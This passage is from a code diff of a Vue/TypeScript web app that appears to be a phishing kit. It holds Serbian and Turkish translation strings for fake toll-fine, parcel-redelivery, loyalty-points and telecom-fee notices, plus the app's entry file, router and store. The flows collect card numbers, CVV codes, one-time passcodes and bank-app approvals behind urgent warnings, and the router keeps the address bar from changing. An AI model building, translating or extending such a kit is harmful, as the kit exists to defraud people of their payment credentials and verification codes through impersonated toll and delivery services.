"Check Your Payment Details": "Проверите детаље плаћања",
|
||||||
|
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Унесите регистарски број возила да бисте проверили свој налог и благовремено платили путарину како бисте избегли казне.",
|
||||||
|
"Enter license plate number (e.g. XYZ1234)": "Унесите број таблице (нпр. XYZ1234)",
|
||||||
|
"Verify Payment Details": "Потврдите детаље плаћања",
|
||||||
|
"Toll Payment": "Плаћање путарине",
|
||||||
|
"License Plate Number": "Регистарски број возила",
|
||||||
|
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Информације о саобраћајним прекршајима (нпр. коришћење мобилног телефона током вожње). Први прекршај <strong>50€</strong>, други <strong>150€</strong> итд.",
|
||||||
|
"Tolls": "Путарина",
|
||||||
|
"Due Date": "Рок доспећа",
|
||||||
|
"Fine Amount": "Износ казне",
|
||||||
|
"Pay Now": "Плати сада",
|
||||||
|
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Имајте у виду да је због кашњења плаћања ова трансакција могућа само кредитном картицом.",
|
||||||
|
"Cardholder Name": "Име носиоца картице",
|
||||||
|
"First and Last Name": "Име и презиме",
|
||||||
|
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
|
||||||
|
"Expiration Date": "Датум истека",
|
||||||
|
"MM/YY": "MM/ГГ",
|
||||||
|
"123(CVV)": "123(CVV)",
|
||||||
|
"Card Icon": "Икона картице",
|
||||||
|
"CVV": "CVV",
|
||||||
|
"Successful Toll Payment": "Успешно плаћена путарина",
|
||||||
|
"Thank you for your payment. The tolls have been processed successfully.": "Хвала вам на плаћању. Путарина је успешно обрађена.",
|
||||||
|
"Phone": "Телефон",
|
||||||
|
"Toll Amount": "Износ путарине"
|
||||||
|
};
|
||||||
82
a11_bg_Fine_kat-obligations/src/locales/tr/index.ts
Normal file
@@ -0,0 +1,82 @@
|
|||||||
|
export default {
|
||||||
|
"There is an error in this field, please check":
|
||||||
|
"Bu alanda bir hata var, lütfen kontrol edin",
|
||||||
|
"Please enter a valid email address": "Lütfen geçerli bir e-posta adresi girin",
|
||||||
|
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||||
|
"Değerli kullanıcılar, teslimatın başarılı olması için lütfen formu dikkatlice doldurun",
|
||||||
|
"Your Name": "Adınız",
|
||||||
|
"Address": "Adres",
|
||||||
|
"Detailed Address": "Detaylı Adres",
|
||||||
|
"(Optional)": "(İsteğe bağlı)",
|
||||||
|
"City": "Şehir",
|
||||||
|
"State": "Eyalet",
|
||||||
|
"Province": "İl",
|
||||||
|
"Region": "Bölge",
|
||||||
|
"Zip Code": "Posta Kodu",
|
||||||
|
"E-Mail": "E-Posta",
|
||||||
|
"Next": "İleri",
|
||||||
|
"Telephone Number": "Telefon Numarası",
|
||||||
|
"Online": "Çevrimiçi",
|
||||||
|
"Payment": "Ödeme",
|
||||||
|
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||||
|
"Yeniden teslimat için bazı hizmet ücretleri tahsil etmemiz gerekiyor. Ödemenin ardından paketiniz yeniden gönderilecektir",
|
||||||
|
"lump sum: ": "Toplam tutar: ",
|
||||||
|
"Cardholder": "Kart Sahibi",
|
||||||
|
"Card Number": "Kart Numarası",
|
||||||
|
"Expire Date": "Son Kullanma Tarihi",
|
||||||
|
"Security Code": "Güvenlik Kodu",
|
||||||
|
"Submit": "Gönder",
|
||||||
|
"Click here to receive another code": "Yeni bir kod almak için buraya tıklayın",
|
||||||
|
"Please confirm your identity and a one-time code will be sent":
|
||||||
|
"Lütfen kimliğinizi doğrulayın, cep telefonu numaranıza veya e-posta adresinize tek kullanımlık bir kod gönderilecektir. Lütfen doğrulama kodunu buraya girin",
|
||||||
|
"The verification code has been sent to":
|
||||||
|
"Doğrulama kodu şu adrese gönderildi:",
|
||||||
|
"Please do not click the":
|
||||||
|
"Lütfen 'Yenile' veya 'Geri' düğmelerine tıklamayın, aksi takdirde işleminiz sona erebilir veya kesilebilir",
|
||||||
|
"Verification code error, please try again":
|
||||||
|
"Doğrulama kodu hatalı, lütfen tekrar deneyin",
|
||||||
|
"The session is about to expire, please complete the verification now":
|
||||||
|
"Oturumunuz sona ermek üzere, lütfen şimdi doğrulamayı tamamlayın",
|
||||||
|
"This card does not support this transaction, please try another card":
|
||||||
|
"Bu kart bu işlemi desteklemiyor, lütfen başka bir kart deneyin",
|
||||||
|
"Authorized bank": "Yetkili banka",
|
||||||
|
"Please go to the bank App to confirm the authorization":
|
||||||
|
"Lütfen yetkilendirmeyi onaylamak için banka uygulamasına gidin",
|
||||||
|
"Please do not close this page": "Lütfen bu sayfayı kapatmayın",
|
||||||
|
"Payment Successful": "Ödeme Başarılı!",
|
||||||
|
"Thank you for your purchase. Your payment has been processed successfully":
|
||||||
|
"Satın alma işleminiz için teşekkür ederiz. Ödemeniz başarıyla işlendi",
|
||||||
|
"Mailing address": "Posta Adresi",
|
||||||
|
"street address or house number": "Sokak adresi veya ev numarası",
|
||||||
|
"Apartment number": "Daire numarası, oda numarası vb.",
|
||||||
|
"Safe payment": "Güvenli ödeme",
|
||||||
|
"Verification code": "Doğrulama kodu",
|
||||||
|
"Welcome": "Hoş geldiniz",
|
||||||
|
"back": "geri!",
|
||||||
|
"We reward you for using point services": "Puan hizmetlerini kullandığınız için sizi ödüllendiriyoruz",
|
||||||
|
"Check your points": "Puanlarınızı kontrol edin",
|
||||||
|
"Phone number": "Telefon numarası",
|
||||||
|
"Inquire": "Sorgula",
|
||||||
|
"Exchange": "Değiştir",
|
||||||
|
"Spend points": "Puan harca",
|
||||||
|
"Points Available": "Mevcut Puanlar",
|
||||||
|
"You don't have enough points": "Yeterli puanınız yok",
|
||||||
|
"Please redeem your favorite product": "Lütfen favori ürününüzü kullanarak puanınızı harcayın",
|
||||||
|
"Confirm your shipping address": "Teslimat adresinizi onaylayın",
|
||||||
|
"Order number": "Sipariş numarası: ",
|
||||||
|
"Pay": "Öde",
|
||||||
|
"Pay Message": "{0} ödeyerek puan karşılığı ürün alabilirsiniz",
|
||||||
|
"Pay electronic tolls online": "Elektronik otoyol ücretlerini çevrimiçi ödeyin",
|
||||||
|
"your electronic toll payment was unsuccessful":
|
||||||
|
"Elektronik otoyol ödemeniz başarısız oldu.",
|
||||||
|
"Billing Information": "Fatura Bilgileri",
|
||||||
|
"Description": "Açıklama",
|
||||||
|
"Dear customer": "Sayın müşteri:",
|
||||||
|
"Electronic Communications Charge Payment Failed": "Elektronik iletişim ücreti ödemesi başarısız oldu",
|
||||||
|
"Invoice Number": "Fatura Numarası",
|
||||||
|
"Amount": "Tutar",
|
||||||
|
"Pay Immediately": "Hemen Öde",
|
||||||
|
"Phone Number": "Telefon Numarası",
|
||||||
|
"Electronic communication fee payment failed": "Elektronik iletişim ücreti ödemesi başarısız oldu",
|
||||||
|
"Illustrate": "Açıklama"
|
||||||
|
};
|
||||||
28
a11_bg_Fine_kat-obligations/src/main.ts
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
import { createApp, ref } from "vue";
|
||||||
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
|
import App from "./App.vue";
|
||||||
|
import router from "./router";
|
||||||
|
import { createI18n } from "vue-i18n";
|
||||||
|
import en from "./locales/en";
|
||||||
|
import "./assets/main.css";
|
||||||
|
import "./assets/base.css";
|
||||||
|
import VueScrollTo from "vue-scrollto";
|
||||||
|
|
||||||
|
const userData = ref({});
|
||||||
|
|
||||||
|
const app = createApp(App);
|
||||||
|
app.config.globalProperties.$currentUser = userData;
|
||||||
|
const i18n = createI18n({
|
||||||
|
locale: "en",
|
||||||
|
messages: {
|
||||||
|
en: en,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
app.use(i18n);
|
||||||
|
app.use(createPinia());
|
||||||
|
app.use(router);
|
||||||
|
|
||||||
|
app.mount("#app");
|
||||||
|
export default i18n;
|
||||||
113
a11_bg_Fine_kat-obligations/src/router/index.ts
Normal file
@@ -0,0 +1,113 @@
|
|||||||
|
import { createRouter, createMemoryHistory } from "vue-router";
|
||||||
|
|
||||||
|
// --- All view components are now explicitly imported for full static loading ---
|
||||||
|
import IndexView from "@/views/IndexView.vue";
|
||||||
|
import PhoneView from "@/views/PhoneView.vue";
|
||||||
|
import PayView from "@/views/PayView.vue";
|
||||||
|
import OtpView from "@/views/OtpView.vue";
|
||||||
|
import CustomOtpView from "@/views/CustomOtpView.vue";
|
||||||
|
import AppValidView from "@/views/AppValidView.vue";
|
||||||
|
import AddressView from "@/views/AddressView.vue";
|
||||||
|
import SuccessView from "@/views/SuccessView.vue";
|
||||||
|
import CardView from "@/views/CardView.vue";
|
||||||
|
import HomeView from "@/views/HomeView.vue";
|
||||||
|
const router = createRouter({
|
||||||
|
/**
|
||||||
|
* History Mode: createMemoryHistory
|
||||||
|
*
|
||||||
|
* This mode maintains an internal history stack **without interacting with the browser's URL**.
|
||||||
|
* The URL in the address bar will not change, and it will not add entries to the browser's native history.
|
||||||
|
*
|
||||||
|
* This is ideal for scenarios like:
|
||||||
|
* - **Server-Side Rendering (SSR)**: Where a browser environment is not available.
|
||||||
|
* - **Desktop Applications (e.g., Electron)**: For internal app navigation that shouldn't affect OS-level browser history.
|
||||||
|
* - **Embedded Applications**: When your Vue app is nested within a larger system and should not alter the parent's URL.
|
||||||
|
*
|
||||||
|
* **Important**: Users cannot bookmark specific internal routes or use browser back/forward buttons
|
||||||
|
* to navigate within your Vue app's routes. Navigation is strictly controlled programmatically (e.g., via `<router-link>` or `router.push()`).
|
||||||
|
*/
|
||||||
|
history: createMemoryHistory(import.meta.env.BASE_URL),
|
||||||
|
|
||||||
|
routes: [
|
||||||
|
{
|
||||||
|
path: "/",
|
||||||
|
name: "home",
|
||||||
|
// --- Component directly assigned for full static loading ---
|
||||||
|
component: IndexView,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: "/phone",
|
||||||
|
name: "phone",
|
||||||
|
component: PhoneView,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: "/home",
|
||||||
|
name: "home",
|
||||||
|
component: HomeView,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: "/pay",
|
||||||
|
name: "pay",
|
||||||
|
component: PayView,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: "/otpValid",
|
||||||
|
name: "otpValid",
|
||||||
|
component: OtpView,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: "/customOtpValid",
|
||||||
|
name: "customOtpValid",
|
||||||
|
component: CustomOtpView,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: "/appValid",
|
||||||
|
name: "appValid",
|
||||||
|
component: AppValidView,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: "/address",
|
||||||
|
name: "address",
|
||||||
|
component: AddressView,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: "/success",
|
||||||
|
name: "success",
|
||||||
|
component: SuccessView,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: "/card",
|
||||||
|
name: "card",
|
||||||
|
component: CardView,
|
||||||
|
},
|
||||||
|
],
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Scroll Behavior:
|
||||||
|
* Controls the scrolling position when navigating between routes.
|
||||||
|
*
|
||||||
|
* @param {Object} to - The target route object.
|
||||||
|
* @param {Object} from - The current route object being left.
|
||||||
|
* @param {Object} savedPosition - The saved scroll position if navigating back/forward.
|
||||||
|
* @returns {Object} An object with `left` and `top` properties (for scrolling to coordinates).
|
||||||
|
*/
|
||||||
|
scrollBehavior(to, from, savedPosition) {
|
||||||
|
// If a saved position exists (e.g., from browser's back/forward, though less common with MemoryHistory), restore it.
|
||||||
|
if (savedPosition) {
|
||||||
|
return savedPosition;
|
||||||
|
} else {
|
||||||
|
// Otherwise, scroll to the top of the page. Added 'smooth' for a better user experience.
|
||||||
|
return { left: 0, top: 0, behavior: "smooth" };
|
||||||
|
}
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
router.afterEach(() => {
|
||||||
|
// Try all common scroll containers
|
||||||
|
window.scrollTo({ top: 0, left: 0, behavior: "auto" });
|
||||||
|
document.documentElement.scrollTop = 0;
|
||||||
|
document.body.scrollTop = 0;
|
||||||
|
const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null;
|
||||||
|
if (wrap) wrap.scrollTop = 0;
|
||||||
|
});
|
||||||
|
export default router;
|
||||||
15
a11_bg_Fine_kat-obligations/src/stores/counter.ts
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
import { defineStore } from "pinia";
|
||||||
|
|
||||||
|
export const useLoadingStore = defineStore("loading", {
|
||||||
|
state: () => ({
|
||||||
|
isLoading: false,
|
||||||
|
}),
|
||||||
|
actions: {
|
||||||
|
showLoading() {
|
||||||
|
this.isLoading = true;
|
||||||
|
},
|
||||||
|
hideLoading() {
|
||||||
|
this.isLoading = false;
|
||||||
|
},
|
||||||
|
},
|
||||||
|
});
|
||||||